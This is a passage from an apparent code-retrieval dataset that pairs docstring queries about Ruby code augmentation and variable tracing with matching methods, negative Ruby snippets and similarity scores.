"0.5295292",
"0.5293167"
] |
0.7569475
|
0
|
Does the actual work of augmenting the code.
|
def augment_code()
@augmented_code = ""
# Configure variable tracing (the variables to be traced are declared at the
# beginning of the program)
@augmented_code += generate_tracing_configuration()
# Iterate over the original code's lines
@code.each_line do |line|
@state[:line_number] += 1
# Remove trailing whitespace. If the line is not empty, parse and process it.
line.rstrip!
if !line.empty?
# Update our state based on the current line
parse_line(line)
# Add stuff if necessary
line = possibly_add_line_number_comment(line)
line = possibly_add_trace_info_calls(line)
end
@augmented_code += line + "\n"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def augment_target\n # Capture this data in the closure.\n proxy_class = @proxy_class\n builder_class = @builder_class\n defines = Proc.new do\n # Assembles code.\n def assemble(&block)\n _assemble block\n end\n \n # Internal method for assembling code.\n #\n # We need to use a block to define this method, so we can capture the\n # outer variables (proxy_class and builder_class) in its closure. However,\n # blocks can't take blocks as parameters (at least not in MRI 1.8). So\n # we use a regular method definition (assemble) which wraps the block\n # into a Proc received by _assemble.\n define_method :_assemble do |block|\n code_builder = builder_class.new\n code_builder.start_assembling\n proxy = proxy_class.new(code_builder)\n block.call proxy\n code_builder.done_assembling proxy\n end\n private :_assemble\n end\n @target.class_eval(&defines)\n (class << @target; self; end).module_eval(&defines) \n end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def extended(*) end",
"def inline_code; end",
"def code_point; end",
"def mix\n #future code\n end",
"def pre_process\n end",
"def custom; end",
"def custom; end",
"def instrument; end",
"def code_point=(_); end",
"def instrumenter; end",
"def instrument(name, orig); end",
"def doManipulation(contents); raise \"Abstract Exception: doManipulation must be extended\"; end",
"def decorate!; end",
"def decorate!; end",
"def extension=(_arg0); end",
"def extension=(_arg0); end",
"def replace_this_with_appropriate_code(x) end",
"def redo_include_and_extend\n reinclude + reextend\n end",
"def preprocess(&block); end",
"def before_extend( *contexts, & block )\n \n return frame_definer.before_extend( *contexts, & block )\n \n end",
"def ext(*args, **_arg1, &block); end",
"def pry_hooks(ex); end",
"def post_process; end",
"def regenerate_helpers!; end",
"def invention; end",
"def run_and_transform; end",
"def original; end",
"def processor; end",
"def init_ext()\n \n end",
"def source(override); end",
"def augment_fail(send, line)\n @phase = :execute\n @code = make_runnable(@code)\n\n begin\n open(\"log/simplemode.log\", 'a') do |file|\n file.puts '--------------------------------'\n file.puts Time.now\n file.puts '--------------------------------'\n file.puts @augmented_code\n file.puts \"\\n\\n\\n\"\n\n @augmented_code = nil\n end\n ensure\n send.call([\n {:write_file => {:filename => @filename, :content => @code}},\n {:execute => {:command => \"env PYTHONPATH=$LIB$/python #{VM_PYTHON} -B #{@filename}\",\n :stdout => 'executeoutput',\n :stderr => 'executeerror'}}])\n return {:type => :warning, :message => 'Start im vereinfachten Modus.'}\n end\n end",
"def wrapper; end",
"def handle_custom_code\n # Any declaration code, usually wrapper function definitions\n self.code._get_custom_declarations.flatten.each do |decl|\n declarations << decl\n end\n\n # And the registration code to hook into Rice\n self.code._get_custom_wrappings.flatten.each do |wrap|\n registrations << \"\\t#{wrap.gsub(/<class>/, self.rice_variable)}\"\n end\n end",
"def extension; end",
"def extension; end",
"def extension; end",
"def extension; end",
"def setup\n super\n @append_a = Module.new\n @append_a.define_singleton_method(:call) do |thing|\n thing << 'a'\n thing\n end\n\n @append_b = Class.new\n @append_b.define_singleton_method(:call) do |thing|\n thing << 'b'\n thing\n end\n\n @append_c = lambda do |thing|\n thing << 'c'\n thing\n end\n end",
"def begin_adding(*) end",
"def pre_block\n end",
"def pre_block\n end",
"def code\n call_once\n @code\n end",
"def epilogue\r\n end",
"def third_party_processors; end",
"def after_extend( *contexts, & block )\n\n return frame_definer.after_extend( *contexts, & block )\n\n end",
"def adapt_source(source); end",
"def after_processing_hook; end",
"def around_hooks; end",
"def extra; end",
"def extended( hooked_instance )\n\n super if defined?( super )\n \n end",
"def define_advised_method(name)\n args = args_for(hooks[name][:old_method] ||= instance_method(name))\n\n <<-EOD \n def #{name}(#{args})\n #{inline_hooks(name, :before, args)}\n retval = #{inline_call(name, args)}\n #{inline_hooks(name, :after, args)}\n\t retval\n end\n EOD\n end",
"def code=(_arg0); end",
"def code=(_arg0); end",
"def extended(a_module)\n end",
"def visit(_bytecode)\n raise NotImplementedError, 'subclass responsibility'\n end",
"def extend_object( hooked_instance )\n\n original_extend_object( hooked_instance )\n super if defined?( super )\n \n end",
"def after_include_or_extend( *contexts, & block )\n\n return frame_definer.after_include_or_extend( *contexts, & block )\n\n end",
"def hook1; end",
"def extensions=(_arg0); end",
"def inject(what, title = 'Something important', data = Hash.new,\n custom_vars = Array.new, custom_scripts = Array.new)\n syringe = Syringe.new(engine, what, title, data, gem_libdir,\n custom_vars, custom_scripts)\n syringe.actual_injection\n syringe.get_result\n end",
"def before() ; end",
"def epilogue\n raise NotImplementedError.new(\"#{self.class}#epilogue\")\n end",
"def processed_source=(_); end",
"def processed_source=(_); end",
"def attach(source); end",
"def instrument_method(klass,method_name,unbound_orig_method,inst_code) \n lambda do |*args|\n bound_method = unbound_orig_method.bind(self)\n# if ::DRuby::Profile::Interceptor.enabled then\n inst_code.call(bound_method,*args)\n# else\n# bound_method.call(*args)\n# end\n end\n end",
"def boilerplate ingestor\n\n @pid = ingestor.pid\n\n @mods.add_iid_identifier @iid if @mods.iids.empty? # we do sanity checking and setup the @iid elsewhere\n @mods.add_islandora_identifier ingestor.pid\n @mods.add_flvc_extension_elements @manifest\n\n if @mods.type_of_resource.empty?\n @mods.add_type_of_resource @mods_type_of_resource\n end\n\n @mods.post_process_cleanup # creates purl if necessary, must be done after iid inserted into MODS\n raise PackageError, \"Invalid MODS file\" unless @mods.valid?\n\n ingestor.label = @label\n ingestor.owner = @owner\n ingestor.content_model = @content_model\n ingestor.collections = @collections\n ingestor.dc = @mods.to_dc\n ingestor.mods = @mods.to_s\n\n if @marc\n ingestor.datastream('MARCXML') do |ds|\n ds.dsLabel = \"Archived MarcXML\"\n ds.content = @marc\n ds.mimeType = 'text/xml'\n end\n end\n\n if @manifest.embargo\n @drupal_db.add_embargo @pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n\n # set POLICY if there is only one collection with same namespace and POLICY datastream\n # if none or more than one collection, do not set POLICY\n\n if @inherited_policy_collection_id\n ingestor.datastream('POLICY') do |ds|\n ds.dsLabel = \"XACML Policy Stream\"\n ds.content = Utils.get_datastream_contents(@config, @inherited_policy_collection_id, 'POLICY')\n ds.mimeType = 'text/xml'\n ds.controlGroup = 'X'\n end\n end\n\n ingestor.datastream('RELS-EXT') do |ds|\n ds.dsLabel = 'Relationships'\n ds.content = rels_ext(ingestor.pid)\n ds.mimeType = 'application/rdf+xml'\n end\n end",
"def implementation; end",
"def implementation; end",
"def rewrite_inline_code(code)\n\n # Fors strings file, remove server-side keys (i.e '@@foo' = 'bar')\n if localized_strings?\n code.gsub!(/[\"']@@.*[\"']\\s*?:\\s*?[\"'].*[\"']\\s*,\\s*$/,'')\n\n # Otherwise process sc_super\n else\n code.gsub!(/sc_super\\(\\s*\\)/, 'arguments.callee.base.apply(this,arguments)')\n code.gsub!(/sc_super\\((.+?)\\)/) do\n SC.logger.warn \"\\nWARNING: Calling sc_super() with arguments is DEPRECATED. Please use sc_super() only.\\n\\n\"\n \"arguments.callee.base.apply(this, #{$1})\"\n end\n end\n\n # and finally rewrite static_url\n replace_static_url(code)\n code\n end",
"def before_include_or_extend( *contexts, & block )\n\n return frame_definer.before_include_or_extend( *contexts, & block )\n\n end",
"def around_espionage\n 'this method is overriding #around_alias\n defined in the module, but will concateate\n the previously defined method, using the\n #convolutions alias defined in the included module.\n here it comes' << convolutions\n end",
"def initialize\n\n # call super to make @base_engine available\n super\n \n @engine = Proc.new do |options|\n\n # check if require should be relative or not\n req = (options[['relative']].is__null | options[['relative']].isTRUE) >> 0\n \n # load the content of the file in options.code\n options.code = GalaazUtil.inline_file(options.label >> 0, req)\n\n @base_engine.call(options)\n end\n \n # Add the include engine function for processing the rb block\n add(include: @engine)\n \n end",
"def regenerator; end",
"def method_added(method_name)\n visibility = :public\n visibility = :private if private_method_defined? method_name\n visibility = :protected if protected_method_defined? method_name\n\n unless autoescape_methods[method_name]\n prepend Module.new {\n module_eval %{\n #{ visibility } def #{ method_name }(*args, &blk); ::Hanami::View::Escape.html super; end\n }\n }\n\n autoescape_methods[method_name] = true\n end\n end",
"def instrumentation\n super || @instrumentation ||= proc { |script_name, runtime, eval_type| nil }\n end",
"def preproc; end",
"def pre_wrap\n @pre_wrap ||= {}\n end",
"def add_code(ins)\n @compiler.add_code(ins)\n return ins\n end",
"def record_init(code)\r\n @init << code\r\n end",
"def prefix(code)\n @src << code\n end",
"def weber; end",
"def method_added(name)\n\n# if new method is an alias method of some method then no need to alias it again\n if /hook/.match(name.to_s) or method_defined?(\"#{name}_without_hook\") or [\"before_method\",\"after_method\"].include?(name.to_s)\n return\n end \n\n call_bef = find_except(name,:before) #finds function which should be called before/after this fuction\n call_aft = find_except(name,:after)\n if call_bef.length == 0 && call_aft.length == 0 \n return\n end \n\n if call_bef.include?(name.to_s) or call_aft.include?(name.to_s) #To avoid infinite loop\n return\n end\n\n# define new method\n hook = %{\n def #{name}_hook\n call_bef = self.class.find_except(\\\"#{name}\\\",:before)\n call_bef.each{|elem| send elem}\n #{name}_without_hook()\n call_aft = self.class.find_except(\\\"#{name}\\\",:after)\n call_aft.each{|elem| send elem}\n end\n }\n\n self.class_eval(hook)\n a1 = \"alias #{name}_without_hook #{name}\"\n self.class_eval(a1)\n a2 = \"alias #{name} #{name}_hook\"\n self.class_eval(a2)\n\n end",
"def ext=(_arg0); end",
"def ext=(_arg0); end",
"def ext=(_arg0); end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end"
] |
[
"0.65209776",
"0.621126",
"0.621126",
"0.621126",
"0.621126",
"0.621126",
"0.621126",
"0.621126",
"0.6169734",
"0.60114616",
"0.60029495",
"0.5968372",
"0.59492",
"0.5945812",
"0.5945812",
"0.591622",
"0.5913954",
"0.5877608",
"0.586264",
"0.5846664",
"0.5819154",
"0.5819154",
"0.5791713",
"0.5791713",
"0.5782989",
"0.5780753",
"0.57475513",
"0.57246304",
"0.570586",
"0.5695975",
"0.56869316",
"0.56798357",
"0.5672859",
"0.5661845",
"0.5650339",
"0.5645303",
"0.5636063",
"0.5631371",
"0.5615753",
"0.5605404",
"0.5601988",
"0.5597602",
"0.5597602",
"0.5597602",
"0.5597602",
"0.558456",
"0.5583828",
"0.554796",
"0.554796",
"0.5547113",
"0.55333436",
"0.55149174",
"0.5514743",
"0.55083746",
"0.55015206",
"0.54820716",
"0.54595876",
"0.5459547",
"0.5455536",
"0.5446441",
"0.5446441",
"0.5439548",
"0.5437058",
"0.54225147",
"0.5404784",
"0.54022366",
"0.53904086",
"0.5384684",
"0.5376941",
"0.5365405",
"0.5364618",
"0.5364618",
"0.5361966",
"0.53595996",
"0.5350829",
"0.5346321",
"0.5346321",
"0.5345888",
"0.53458273",
"0.5344488",
"0.53339624",
"0.5328834",
"0.5324053",
"0.5323679",
"0.5319453",
"0.5317296",
"0.53096837",
"0.53054696",
"0.5305467",
"0.52964085",
"0.5294977",
"0.52913237",
"0.52913237",
"0.52913237",
"0.5287606",
"0.5287606",
"0.5287606",
"0.5287606",
"0.5287606",
"0.5287606"
] |
0.75075203
|
0
|
Generates the necessary library calls to trace variables.
|
def generate_tracing_configuration()
result = ""
if @tracing_vars
@tracing_vars.each_with_index do |var_name, var_index|
result += "garbledwebpiratenlibraryname.add_traced_variable('#{var_name}', #{var_index})\n"
end
result += "\n"
end
return result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def build_vars\n\n end",
"def set_trace_func(p0) end",
"def visit_trace(code, ins, local_vars, ln, info)\r\n end",
"def __trace(*args, **opt, &block)\n __trace_impl(*args, **opt, &block)\nend",
"def initialize(vars)\n @vars = vars # hash table of attribute_name/value pairs\n @hitbreak = false\n @retval = true\n @lib = Lib.new\n end",
"def trace\n `#{@native}.trace()`\n end",
"def trace!(*methods)\n@_traced = @_traced || []\n# Remember the set of traced methods\n# If no methods were specified, use all public methods defined\n# directly (not inherited) by the class of this object\nmethods = public_methods(false) if methods.size == 0\nmethods.map! {|m| m.to_sym } # Convert any strings to symbols\nmethods -= @_traced\n# Remove methods that are already traced\nreturn if methods.empty?\n# Return early if there is nothing to do\n@_traced |= methods\n# Add methods to set of traced methods\n# Trace the fact that we're starting to trace these methods\nSTDERR << \"Tracing #{methods.join(', ')} on #{object_id}\\n\"\n# Singleton methods are defined in the eigenclass\neigenclass = class << self; self; end\nmethods.each do |m|\n# For each method m\n# Define a traced singleton version of the method m.\n# Output tracing information and use super to invoke the\n# instance method that it is tracing.\n# We want the defined methods to be able to accept blocks, so we\n# can't use define_method, and must instead evaluate a string.\n# Note that everything between %Q{ and the matching } is a\n# double-quoted string, not a block. Also note that there are\n# two levels of string interpolations here. #{} is interpolated\n# when the singleton method is defined. And \\#{} is interpolated\n# when the singleton method is invoked.\neigenclass.class_eval %Q{\ndef #{m}(*args, &block)\nbegin\nSTDERR << \"Entering: #{m}(\\#{args.join(', ')})\\n\"\nresult = super\nSTDERR << \"Exiting: #{m} with \\#{result}\\n\"\nresult\nrescue\nSTDERR << \"Aborting: #{m}: \\#{$!.class}: \\#{$!.message}\"\nraise\nend\nend\n}\nend\nend",
"def setup_tracer\n Contrib::Rails::Framework.setup\n end",
"def c_generate_proto(tables)\n tables.each{|k,v|\n puts \"static void decode_#{k}(#{$cargs_proto});\"\n }\nend",
"def tracing()\n #This is a stub, used for indexing\n end",
"def set_up_libraries\n R.eval <<-EOR\n suppressMessages(library(ROCR, warn.conflicts = FALSE, quietly=TRUE))\n suppressMessages(library(bestglm, warn.conflicts = FALSE, quietly=TRUE))\n suppressMessages(library(lsr, warn.conflicts = FALSE, quietly=TRUE))\n suppressMessages(library(FactoMineR, warn.conflicts = FALSE, quietly=TRUE))\n source('#{File.dirname(__FILE__)}/experience_functions.R')\n EOR\n end",
"def load_libs; end",
"def trace\n set_trace_func proc { |event, _file, _line, id, binding, classname|\n if event == watched && id != :log && classes.include?(classname.to_s)\n vars = variables(binding)\n\n if vars.empty?\n log_this(sprintf(\"%s %-25s #%-20s\",\n class_count, classname, id))\n\n else\n log_this(sprintf(\"%s %-25s #%-20s\\n%s\\n\",\n class_count, classname, id, vars))\n\n end\n end\n } if trace?\n end",
"def callers\n Rubinius::VM.backtrace(1, true).map &(method(:setup_binding_from_location).\n to_proc)\n end",
"def output_internal_helper_macros\n putd \"/* -- INTERNAL HELPER MACROS -- */\"\n\n define_return_sequence_helper\n define_custom_fake_sequence_helper\n define_reset_fake_macro\n define_declare_arg_helper\n define_declare_all_func_common_helper\n define_declare_return_value_history\n define_save_arg_helper\n define_room_for_more_history\n define_save_ret_history_helper\n define_save_arg_history_helper\n define_history_dropped_helper\n define_value_function_variables_helper\n define_custom_fake_seq_variables_helper\n define_increment_call_count_helper\n define_return_fake_result_helper\n define_extern_c_helper\n define_reset_fake_helper\n\n putd \"/* -- END INTERNAL HELPER MACROS -- */\"\n puts\nend",
"def get_library_functions_list\n library_functions = []\n @indexes.each do |index|\n library_functions += JSON.parse(IO.read(@feature_dir + \"/library_calls/#{index.to_s}.json\")).keys\n end\n library_functions.uniq\n end",
"def create_library_sources(lib)\n library = lib.is_a?(String) ? @project.get_library(lib) : lib\n printer = @output_directory.nil? ? Printer.new : FilePrinter.new(\"#{@output_directory}/#{library.name}/library_sources.make\")\n library.source_files.each do |src_file|\n input_file = \"$(project_root_dir)/#{library.path}/#{src_file}\"\n #TBA: Use a shared function to get the path for the expected .d file:\n output_file = \"$(path_prefix)/#{library.name}/#{src_file}.d.libraries\"\n printer.output <<~HEREDOC\n #{output_file} : #{input_file}\n \\t@set -euo pipefail; cd $(project_root_dir);\\\\\n \\tmkdir -p $(@D);\\\\\n \\techo \\\"Generating $@\\\";\\\\\n \\tmerle library_dependencies #{library.name} $(project_root_dir) #{library.path}/#{src_file.path} > $@\n \\nlibrary_level_dependency_files += #{output_file}\n HEREDOC\n #####################################################################################\n #TBA: Consider placing the following in a separate file, since the content is not\n #needed at libray-level dependencies.\n output_file = \"$(path_prefix)/#{library.name}/#{src_file}.d.sublevel\"\n printer.output <<~HEREDOC\n #{output_file} : #{input_file}\n \\t@set -euo pipefail; cd $(project_root_dir);\\\\\n \\tmkdir -p $(@D);\\\\\n \\techo \\\"Generating $@\\\";\\\\\n \\tmerle file_dependencies #{library.name} $(project_root_dir) #{library.path}/#{src_file.path} > $@\n \\nsub_level_dependency_files += #{output_file}\n HEREDOC\n end\n end",
"def library_load_start(file_count)\n puts \"Compilation\"\n end",
"def libs; end",
"def sub_funcs\n # Find out function names, make map\n get_func_names.each do |var, _sub|\n code.gsub!(var, @rig.init_var(var))\n end\n\n code\n end",
"def enable_advanced_debugging_tools=(_arg0); end",
"def backtrace_includes=(_arg0); end",
"def global_variables() end",
"def stubs=(_arg0); end",
"def loadStudioDLL()\n # System\n @@studioDLL.import(\"Studio_System_Create\", \"pl\")\n @@studioDLL.import(\"Studio_System_FlushCommands\", \"l\")\n @@studioDLL.import(\"Studio_System_FlushSampleLoading\", \"l\")\n @@studioDLL.import(\"Studio_System_GetAdvancedSettings\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetBank\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetBankByID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetBankCount\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetBankList\", \"lplp\")\n @@studioDLL.import(\"Studio_System_GetBufferUsage\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetBus\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetBusByID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetCPUUsage\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetEvent\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetEventByID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetListenerAttributes\", \"llp\")\n @@studioDLL.import(\"Studio_System_GetListenerWeight\", \"llp\")\n @@studioDLL.import(\"Studio_System_GetLowLevelSystem\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetNumListeners\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetSoundInfo\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_System_GetVCA\", \"lpp\")\n @@studioDLL.import(\"Studio_System_GetVCAByID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_Initialize\", \"llllp\")\n @@studioDLL.import(\"Studio_System_LoadBankCustom\", \"lplp\")\n @@studioDLL.import(\"Studio_System_LoadBankFile\", \"lplp\")\n @@studioDLL.import(\"Studio_System_LoadBankMemory\", \"lplllp\")\n @@studioDLL.import(\"Studio_System_LoadCommandReplay\", \"lpl\")\n @@studioDLL.import(\"Studio_System_LookupID\", \"lpp\")\n @@studioDLL.import(\"Studio_System_LookupPath\", \"lpplp\")\n @@studioDLL.import(\"Studio_System_RegisterPlugin\", \"lp\")\n @@studioDLL.import(\"Studio_System_Release\", \"l\")\n @@studioDLL.import(\"Studio_System_ResetBufferUsage\", \"l\")\n @@studioDLL.import(\"Studio_System_SetAdvancedSettings\", \"lp\")\n @@studioDLL.import(\"Studio_System_SetCallback\", \"lll\")\n @@studioDLL.import(\"Studio_System_SetListenerAttributes\", \"llp\")\n @@studioDLL.import(\"Studio_System_SetListenerWeight\", \"llp\")\n @@studioDLL.import(\"Studio_System_SetNumListeners\", \"ll\")\n @@studioDLL.import(\"Studio_System_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_System_StartCommandCapture\", \"lpl\")\n @@studioDLL.import(\"Studio_System_StopCommandCapture\", \"l\")\n @@studioDLL.import(\"Studio_System_UnloadAll\", \"l\")\n @@studioDLL.import(\"Studio_System_UnregisterPlugin\", \"lp\")\n @@studioDLL.import(\"Studio_System_Update\", \"l\")\n \n # EventDescription\n @@studioDLL.import(\"Studio_EventDescription_CreateInstance\", \"pp\")\n @@studioDLL.import(\"Studio_EventDescription_GetID\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetInstanceCount\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetInstanceList\", \"lplp\")\n @@studioDLL.import(\"Studio_EventDescription_GetLength\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetMaximumDistance\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetMinimumDistance\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetParameter\", \"lpp\")\n @@studioDLL.import(\"Studio_EventDescription_GetParameterByIndex\", \"llp\")\n @@studioDLL.import(\"Studio_EventDescription_GetParameterCount\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetPath\", \"lplp\")\n @@studioDLL.import(\"Studio_EventDescription_GetSampleLoadingState\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetSoundSize\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_GetUserProperty\", \"lpp\")\n @@studioDLL.import(\"Studio_EventDescription_GetUserPropertyByIndex\", \"llp\")\n @@studioDLL.import(\"Studio_EventDescription_GetUserPropertyCount\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_HasCue\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_Is3D\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_IsOneshot\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_IsSnapshot\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_IsStream\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_LoadSampleData\", \"l\")\n @@studioDLL.import(\"Studio_EventDescription_ReleaseAllInstances\", \"l\")\n @@studioDLL.import(\"Studio_EventDescription_SetCallback\", \"lll\")\n @@studioDLL.import(\"Studio_EventDescription_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_EventDescription_UnloadSampleData\", \"l\")\n \n # EventInstance\n @@studioDLL.import(\"Studio_EventInstance_Get3DAttributes\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetChannelGroup\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetDescription\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetListenerMask\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameter\", \"lpp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameterByIndex\", \"llp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameterCount\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameterValue\", \"lppp\")\n @@studioDLL.import(\"Studio_EventInstance_GetParameterValueByIndex\", \"llpp\")\n @@studioDLL.import(\"Studio_EventInstance_GetPaused\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetPitch\", \"lpp\")\n @@studioDLL.import(\"Studio_EventInstance_GetPlaybackState\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetProperty\", \"llp\")\n @@studioDLL.import(\"Studio_EventInstance_GetReverbLevel\", \"llp\")\n @@studioDLL.import(\"Studio_EventInstance_GetTimelinePosition\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_GetVolume\", \"lpp\")\n @@studioDLL.import(\"Studio_EventInstance_IsVirtual\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_Release\", \"l\")\n @@studioDLL.import(\"Studio_EventInstance_Set3DAttributes\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_SetCallback\", \"lll\")\n @@studioDLL.import(\"Studio_EventInstance_SetListenerMask\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_SetParameterValue\", \"lpp\")\n @@studioDLL.import(\"Studio_EventInstance_SetParameterValueByIndex\", \"lll\")\n @@studioDLL.import(\"Studio_EventInstance_SetParameterValuesByIndices\",\"lppl\")\n @@studioDLL.import(\"Studio_EventInstance_SetPaused\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_SetPitch\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_SetProperty\", \"lll\")\n @@studioDLL.import(\"Studio_EventInstance_SetReverbLevel\", \"lll\")\n @@studioDLL.import(\"Studio_EventInstance_SetTimelinePosition\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_EventInstance_SetVolume\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_Start\", \"l\")\n @@studioDLL.import(\"Studio_EventInstance_Stop\", \"ll\")\n @@studioDLL.import(\"Studio_EventInstance_TriggerCue\", \"l\")\n \n # ParameterInstance\n @@studioDLL.import(\"Studio_ParameterInstance_GetDescription\", \"lp\")\n @@studioDLL.import(\"Studio_ParameterInstance_GetValue\", \"lp\")\n @@studioDLL.import(\"Studio_ParameterInstance_SetValue\", \"ll\")\n \n # Bus\n @@studioDLL.import(\"Studio_Bus_GetChannelGroup\", \"lp\")\n @@studioDLL.import(\"Studio_Bus_GetID\", \"lp\")\n @@studioDLL.import(\"Studio_Bus_GetMute\", \"lp\")\n @@studioDLL.import(\"Studio_Bus_GetPath\", \"lplp\")\n @@studioDLL.import(\"Studio_Bus_GetPaused\", \"lp\")\n @@studioDLL.import(\"Studio_Bus_GetVolume\", \"lpp\")\n @@studioDLL.import(\"Studio_Bus_LockChannelGroup\", \"l\")\n @@studioDLL.import(\"Studio_Bus_SetMute\", \"ll\")\n @@studioDLL.import(\"Studio_Bus_SetPaused\", \"ll\")\n @@studioDLL.import(\"Studio_Bus_SetVolume\", \"ll\")\n @@studioDLL.import(\"Studio_Bus_StopAllEvents\", \"ll\")\n @@studioDLL.import(\"Studio_Bus_UnlockChannelGroup\", \"l\")\n \n # VCA\n @@studioDLL.import(\"Studio_VCA_GetID\", \"lp\")\n @@studioDLL.import(\"Studio_VCA_GetPath\", \"lplp\")\n @@studioDLL.import(\"Studio_VCA_GetVolume\", \"lpp\")\n @@studioDLL.import(\"Studio_VCA_SetVolume\", \"ll\")\n \n # Bank\n @@studioDLL.import(\"Studio_Bank_GetBusCount\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetBusList\", \"lplp\")\n @@studioDLL.import(\"Studio_Bank_GetEventCount\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetEventList\", \"lplp\")\n @@studioDLL.import(\"Studio_Bank_GetID\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetLoadingState\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetPath\", \"lplp\")\n @@studioDLL.import(\"Studio_Bank_GetSampleLoadingState\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetStringCount\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetStringInfo\", \"llpplp\")\n @@studioDLL.import(\"Studio_Bank_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetVCACount\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_GetVCAList\", \"lplp\")\n @@studioDLL.import(\"Studio_Bank_LoadSampleData\", \"l\")\n @@studioDLL.import(\"Studio_Bank_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_Bank_Unload\", \"l\")\n @@studioDLL.import(\"Studio_Bank_UnloadSampleData\", \"l\")\n \n # CommandReplay\n @@studioDLL.import(\"Studio_CommandReplay_GetCommandAtTime\", \"llp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetCommandCount\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetCommandInfo\", \"llp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetCommandString\", \"llpl\")\n @@studioDLL.import(\"Studio_CommandReplay_GetCurrentCommand\", \"lpp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetLength\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetPaused\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetPlaybackState\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetSystem\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_GetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_Release\", \"l\")\n @@studioDLL.import(\"Studio_CommandReplay_SeekToCommand\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SeekToTime\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetBankPath\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_SetCreateInstanceCallback\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetFrameCallback\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetLoadBankCallback\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetPaused\", \"ll\")\n @@studioDLL.import(\"Studio_CommandReplay_SetUserData\", \"lp\")\n @@studioDLL.import(\"Studio_CommandReplay_Start\", \"l\")\n @@studioDLL.import(\"Studio_CommandReplay_Stop\", \"l\")\n \n # Debugging Function?\n # @@studioDLL.import(\"Studio_ParseID\", \"\")\n end",
"def ld65_libraries(*more_libs)\n fail \"Sequence error: ld65_libraries\" unless [:create, :link].include?(@phase)\n append_option(:libraries, more_libs)\n @phase = :link\n end",
